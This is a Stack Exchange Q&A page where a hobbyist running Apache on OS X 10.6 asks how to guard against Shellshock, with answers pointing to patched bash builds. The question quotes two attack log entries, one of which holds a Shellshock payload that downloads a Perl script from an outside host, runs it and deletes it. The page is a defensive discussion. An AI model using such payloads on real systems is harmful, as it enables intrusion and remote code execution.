3

I am running a small HTTP server (Apache) off my Mac mostly as a hobby. If it becomes compromised it isn't the end of the world but it is something I would certainly like to prevent. I set up a launchctl job to check the Apache log file for possible requests related to Shellshock and last night I received to two related entries: 

82.221.128.246 - - [29/Sep/2014:08:14:41 -0400] "GET / HTTP/1.1" 200 2081 "-" "() { :;}; /bin/bash -c \"wget http://82.221.105.197/bash-count.txt\""
173.45.100.18 - - [29/Sep/2014:00:52:07 -0400] "GET /cgi-bin/hi HTTP/1.0" 404 208 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/jurat ; perl /tmp/ji;rm -rf /tmp/ji;rm -rf /tmp/ji*\""

The first one looks harmless and the IP hosts a very legitimate looking website claiming that their requests are for research purposes only. The second one is a different story though, it tries to download and run a Perl script. Fortunately I don't have wget installed so this attack didn't work but it seems like it's only a matter of time before I get a request like this that does some damage.

Apple just released patches for OS X 10.7 and latter but unfortunately I am running 10.6. What simple and reliable measures can I take (i.e. not recompiling bash) to reduce my risks?

|improve this question
  • Correct me if I'm wrong, but only bash is vulnerable right? I've heard that installing a different shell like dash, csh, or whatever else helps to mitigate it. Although, this may still require compiling. – jonescb Oct 20 '14 at 16:11
3

If you don't want to recompile Bash yourself, the folks at TenFourFox (who make a PPC version of Firefox) have compiled a binary that works on OS X 10.4 - 10.9 on both PPC and Intel Macs, and have terminal instructions for installing:

http://tenfourfox.blogspot.com/2014/09/bashing-bash-one-more-time-updated.html

At the time of writing (Sept 30) they've compiled Bash 4.3.27, but this still misses a couple of vulnerabilities that the Apple official patch has also missed. So it's better than nothing, but you'll want to keep watching for future updates.

|improve this answer
  • Perfect! Very appreciated; clear instructions and they worked exactly as advertised. – Wildcard Oct 11 '15 at 9:23
0

You could possibly try recompiling bash yourself using this link. It patches the vulnerable bash version, but the new version is not signed by apple and could possibly break things.

|improve this answer
0

Check the "System Binaries" section of this answer. It works for 10.6.8, assuming you have Xcode installed.

https://apple.stackexchange.com/a/146851/96606

|improve this answer

We're looking for long answers that provide some explanation and context. Don't just give a one-line answer; explain why your answer is right, ideally with citations. Answers that don't include explanations may be removed.

  • Answers on Ask Different need to be more than just a link. It's okay to include a link, but please summarize or excerpt it in the answer. The idea is to make the answer stand alone. – Daniel♦ Oct 20 '14 at 15:51

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .